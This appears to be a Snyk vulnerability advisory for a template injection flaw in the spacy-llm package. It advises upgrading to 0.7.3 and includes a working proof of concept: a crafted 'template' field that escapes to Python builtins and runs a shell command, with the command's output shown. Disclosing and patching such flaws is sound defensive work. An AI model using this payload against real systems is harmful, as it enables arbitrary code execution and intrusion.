Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade spacy-llm
to version 0.7.3 or higher.
spacy-llm is an Integrating LLMs into structured NLP pipelines
Affected versions of this package are vulnerable to Template Injection via the template
field. An attacker can execute arbitrary code by injecting a crafted payload.
import spacy
nlp = spacy.load("en_core_web_sm")
config = {
"task": {
"@llm_tasks": "spacy.Summarization.v1",
"max_n_words": 100,
"template": "{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}",
},
"model": {"@llm_models": "spacy.Dolly.v1", "name": "dolly-v2-3b"},
"save_io": True,
}
llm = nlp.add_pipe("llm", config=config)
doc = "test"
doc = nlp(doc)
print(doc.user_data["llm_io"]["llm"]["prompt"])
# ['uid=1000(edoardottt) gid=1000(edoardottt) groups=1000(edoardottt), ...']